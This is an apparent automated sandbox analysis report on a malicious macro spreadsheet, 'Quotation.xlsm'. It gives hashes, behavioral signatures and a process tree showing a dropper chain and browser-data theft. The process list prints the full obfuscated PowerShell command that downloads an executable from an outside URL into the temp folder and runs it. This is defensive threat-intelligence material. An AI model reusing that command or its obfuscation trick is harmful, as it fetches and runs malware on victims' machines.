Analysis
- max time kernel
138s - max time network
133s - platform
windows10_x64 - resource
win10v200722 - submitted
04/08/2020, 16:28
Static task
static1
Behavioral task
behavioral1
Sample
Quotation.xlsm
Resource
win7
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Quotation.xlsm
Resource
win10v200722
0 signatures
0 seconds
General
- Target Quotation.xlsm
- Size 62KB
- Sample200804-74fhndvjb2
- SHA256 574b59dc1edfd81da481081c8a8eeae2f3f9c62965a25ef4ab67aacbd4ce63fa
- MD5 f743ef79b812d3133a9374bd472e0362
- SHA1 c3755a19e92751ae231c70936a0cb930735bab34
- SHA512 6edd019d151e04055dbca70da43f218a5bb9903966df6ae14d83639fcfa6396013b4ba5d9bdd039df393a23b9aff9f436294a758ef8902e5092ce6dcf7d80d7e
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
https://u.teknik.io/PkV9U.txt
Signatures
- Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2052 wrote to memory of 3960 2052 Powershell.exe 73 PID 2052 wrote to memory of 3960 2052 Powershell.exe 73 PID 2052 wrote to memory of 3960 2052 Powershell.exe 73 PID 3960 wrote to memory of 3816 3960 nLFYUhjbT.exe 74 PID 3960 wrote to memory of 3816 3960 nLFYUhjbT.exe 74 PID 3960 wrote to memory of 3816 3960 nLFYUhjbT.exe 74 PID 3816 wrote to memory of 2364 3816 nLFYUhjbT.exe 76 PID 3816 wrote to memory of 2364 3816 nLFYUhjbT.exe 76 PID 3816 wrote to memory of 2364 3816 nLFYUhjbT.exe 76 PID 2364 wrote to memory of 2664 2364 cmd.exe 78 PID 2364 wrote to memory of 2664 2364 cmd.exe 78 PID 2364 wrote to memory of 2664 2364 cmd.exe 78 PID 2664 wrote to memory of 2760 2664 BBtt6.exe 79 PID 2664 wrote to memory of 2760 2664 BBtt6.exe 79 PID 2664 wrote to memory of 2760 2664 BBtt6.exe 79 - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 20 ipinfo.io - Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 3980 EXCEL.EXE 3980 EXCEL.EXE 3980 EXCEL.EXE 3980 EXCEL.EXE 3980 EXCEL.EXE 3980 EXCEL.EXE 3980 EXCEL.EXE 3980 EXCEL.EXE 3980 EXCEL.EXE 3980 EXCEL.EXE 3980 EXCEL.EXE 3980 EXCEL.EXE 2760 BBtt6.exe 2760 BBtt6.exe - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2052 968 Powershell.exe 67 - Executes dropped EXE 4 IoCs
pid Process 3960 nLFYUhjbT.exe 3816 nLFYUhjbT.exe 2664 BBtt6.exe 2760 BBtt6.exe - Loads dropped DLL 73 IoCs
pid Process 3816 nLFYUhjbT.exe 3816 nLFYUhjbT.exe 3816 nLFYUhjbT.exe 3816 nLFYUhjbT.exe 3816 nLFYUhjbT.exe 3816 nLFYUhjbT.exe 3816 nLFYUhjbT.exe 3816 nLFYUhjbT.exe 3816 nLFYUhjbT.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe - JavaScript code in executable 9 IoCs
resource yara_rule behavioral2/files/0x000100000001ad90-10.dat js behavioral2/files/0x000100000001ad90-11.dat js behavioral2/files/0x000100000001adea-220.dat js behavioral2/files/0x000100000001adea-221.dat js behavioral2/files/0x000100000001adec-239.dat js behavioral2/files/0x000100000001adec-240.dat js behavioral2/files/0x000100000001adef-257.dat js behavioral2/files/0x000100000001adef-259.dat js behavioral2/files/0x000100000001adef-262.dat js - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2052 Powershell.exe Token: SeDebugPrivilege 2760 BBtt6.exe - Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 2052 Powershell.exe 2052 Powershell.exe 2052 Powershell.exe 3816 nLFYUhjbT.exe 3816 nLFYUhjbT.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe 2760 BBtt6.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3980 EXCEL.EXE - Blacklisted process makes network request 1 IoCs
flow pid Process 14 2052 Powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Quotation.xlsm"1⤵
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
PID:3980
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell $BIlUKWkiR='*.*-EX'.replace('*.*-','I'); sal lyEbGWXmr $BIlUKWkiR;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://u.teknik.io/PkV9U.txt'',$env:temp+''\''+''nLFYUhjbT.exe'')'|lyEbGWXmr; start-process($env:temp+'\'+'nLFYUhjbT.exe')1⤵
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:2052 -
C:\Users\Admin\AppData\Local\Temp\nLFYUhjbT.exe"C:\Users\Admin\AppData\Local\Temp\nLFYUhjbT.exe"2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:3960 -
C:\Users\Admin\AppData\Local\Temp\nLFYUhjbT.exe"C:\Users\Admin\AppData\Local\Temp\nLFYUhjbT.exe"3⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:3816 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Microsoft\Windows\Application Shortcuts\BBtt6.exe""4⤵
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Users\Admin\AppData\Local\Microsoft\Windows\Application Shortcuts\BBtt6.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Application Shortcuts\BBtt6.exe"5⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:2664 -
C:\Users\Admin\AppData\Local\Microsoft\Windows\Application Shortcuts\BBtt6.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Application Shortcuts\BBtt6.exe"6⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2760
-
-
-
-
-